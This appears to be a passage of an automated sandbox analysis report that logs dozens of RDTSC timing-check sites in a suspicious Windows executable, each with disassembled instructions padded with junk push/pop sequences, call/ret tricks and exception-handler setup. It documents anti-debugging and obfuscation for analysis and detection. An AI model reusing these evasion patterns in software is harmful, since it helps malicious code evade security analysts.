Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 35B4FC second address: 35B501 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 35B501 second address: 35B516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F4AE04F8886h 0x0000000f ja 00007F4AE04F8886h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 35B516 second address: 35B52B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F4AE0E87EB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 35DE6B second address: 35DE70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 35DE70 second address: 35DE9A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4AE0E87EBCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4AE0E87EC6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 35C772 second address: 35C778 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 35E01F second address: 35E023 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 35E023 second address: 35E02F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 35E02F second address: 35E058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push esi 0x0000000b pushad 0x0000000c jmp 00007F4AE0E87EBDh 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pop esi 0x00000015 mov eax, dword ptr [eax] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jl 00007F4AE0E87EB6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 35E058 second address: 35E05E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 35E1B7 second address: 35E1BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 35E1BD second address: 35E1C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 35E1C2 second address: 35E1C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 361A72 second address: 361A8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4AE04F888Ch 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 361A8F second address: 361A95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 361A95 second address: 361A9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3661B5 second address: 3661BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 366A9C second address: 366AAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F4AE04F8886h 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 366C10 second address: 366C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 366C14 second address: 366C34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F888Fh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop edx 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3699C0 second address: 3699C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3699C4 second address: 3699CE instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4AE04F888Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 36A072 second address: 36A07B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 36A471 second address: 36A476 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 36CEF6 second address: 36CEFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 36CEFC second address: 36CF80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jp 00007F4AE04F8895h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007F4AE04F8888h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a sub dword ptr [ebp+1245ECD6h], ebx 0x00000030 push 00000000h 0x00000032 xor edi, 5F051F8Ah 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push edi 0x0000003d call 00007F4AE04F8888h 0x00000042 pop edi 0x00000043 mov dword ptr [esp+04h], edi 0x00000047 add dword ptr [esp+04h], 0000001Dh 0x0000004f inc edi 0x00000050 push edi 0x00000051 ret 0x00000052 pop edi 0x00000053 ret 0x00000054 mov edi, dword ptr [ebp+122D1933h] 0x0000005a xchg eax, ebx 0x0000005b pushad 0x0000005c pushad 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 36CF80 second address: 36CF86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 36CF86 second address: 36CF8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 36CF8F second address: 36CFA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a jmp 00007F4AE0E87EBBh 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 36D9DE second address: 36D9E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 371537 second address: 37154A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 jp 00007F4AE0E87EBCh 0x0000000d jl 00007F4AE0E87EB6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 37154A second address: 371550 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 371550 second address: 371554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 371554 second address: 37157C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F4AE04F8890h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3303C9 second address: 3303D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 371BB8 second address: 371BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 371BBC second address: 371BC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 372608 second address: 37260E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 37260E second address: 372612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3762D5 second address: 3762D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3762D9 second address: 3762DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3787AD second address: 3787B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F4AE04F8886h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 37A6C7 second address: 37A6CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 37A6CB second address: 37A6D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3799C8 second address: 3799DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jl 00007F4AE0E87EC0h 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 37A6D1 second address: 37A6DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F4AE04F8886h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 37B748 second address: 37B74D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 37B89B second address: 37B8CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4AE04F8899h 0x00000008 jbe 00007F4AE04F8886h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 jbe 00007F4AE04F8886h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 37B8CA second address: 37B94A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4AE0E87EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b nop 0x0000000c sub dword ptr [ebp+12478F07h], eax 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 movsx edi, bx 0x00000023 mov eax, dword ptr [ebp+122D05E1h] 0x00000029 push 00000000h 0x0000002b push esi 0x0000002c call 00007F4AE0E87EB8h 0x00000031 pop esi 0x00000032 mov dword ptr [esp+04h], esi 0x00000036 add dword ptr [esp+04h], 00000015h 0x0000003e inc esi 0x0000003f push esi 0x00000040 ret 0x00000041 pop esi 0x00000042 ret 0x00000043 mov bl, B5h 0x00000045 push FFFFFFFFh 0x00000047 push 00000000h 0x00000049 push esi 0x0000004a call 00007F4AE0E87EB8h 0x0000004f pop esi 0x00000050 mov dword ptr [esp+04h], esi 0x00000054 add dword ptr [esp+04h], 0000001Dh 0x0000005c inc esi 0x0000005d push esi 0x0000005e ret 0x0000005f pop esi 0x00000060 ret 0x00000061 stc 0x00000062 mov ebx, dword ptr [ebp+12479033h] 0x00000068 nop 0x00000069 push ebx 0x0000006a ja 00007F4AE0E87EBCh 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 37C94F second address: 37C954 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 37D7BA second address: 37D859 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EBCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F4AE0E87EB8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 push dword ptr fs:[00000000h] 0x0000002e mov dword ptr [ebp+12460946h], edi 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b or dword ptr [ebp+12489A32h], edx 0x00000041 mov eax, dword ptr [ebp+122D1739h] 0x00000047 push 00000000h 0x00000049 push edi 0x0000004a call 00007F4AE0E87EB8h 0x0000004f pop edi 0x00000050 mov dword ptr [esp+04h], edi 0x00000054 add dword ptr [esp+04h], 0000001Ch 0x0000005c inc edi 0x0000005d push edi 0x0000005e ret 0x0000005f pop edi 0x00000060 ret 0x00000061 sub dword ptr [ebp+12460C4Dh], eax 0x00000067 or dword ptr [ebp+12458A21h], esi 0x0000006d push FFFFFFFFh 0x0000006f ja 00007F4AE0E87EBAh 0x00000075 nop 0x00000076 push eax 0x00000077 push edx 0x00000078 jmp 00007F4AE0E87EBCh 0x0000007d rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 37E808 second address: 37E80C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 37D859 second address: 37D860 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 37E80C second address: 37E812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 37D860 second address: 37D86E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 37D86E second address: 37D872 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 37D872 second address: 37D878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 37D878 second address: 37D87E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 37D87E second address: 37D882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 381636 second address: 381649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4AE04F888Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 381649 second address: 38164D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 37F7D3 second address: 37F7D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 37F7D7 second address: 37F7DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 37F7DB second address: 37F7E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 38264D second address: 382653 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 382653 second address: 382658 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3817AD second address: 3817B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 382658 second address: 3826C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F4AE04F8888h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 and bx, 6243h 0x00000029 push 00000000h 0x0000002b sub dword ptr [ebp+122D194Bh], ebx 0x00000031 mov ebx, 5558388Fh 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push eax 0x0000003b call 00007F4AE04F8888h 0x00000040 pop eax 0x00000041 mov dword ptr [esp+04h], eax 0x00000045 add dword ptr [esp+04h], 0000001Ch 0x0000004d inc eax 0x0000004e push eax 0x0000004f ret 0x00000050 pop eax 0x00000051 ret 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3826C4 second address: 3826DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AE0E87EC2h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3826DB second address: 3826E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3828D8 second address: 3828E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F4AE0E87EB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3846A3 second address: 3846A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3838AE second address: 3838BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 383986 second address: 38398A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 38398A second address: 383998 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4AE0E87EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 383998 second address: 38399C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 38485B second address: 384869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 384869 second address: 38486D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 385921 second address: 385925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 38DB5B second address: 38DB82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AE04F8892h 0x00000009 jmp 00007F4AE04F888Fh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 31C233 second address: 31C239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 31C239 second address: 31C23D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 31C23D second address: 31C241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 391E7D second address: 391E82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 391E82 second address: 391E88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 391E88 second address: 391EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 push ebx 0x0000000a jmp 00007F4AE04F8893h 0x0000000f pop ebx 0x00000010 pop ebx 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jl 00007F4AE04F8894h 0x0000001b push eax 0x0000001c push edx 0x0000001d push edi 0x0000001e pop edi 0x0000001f rdtsc
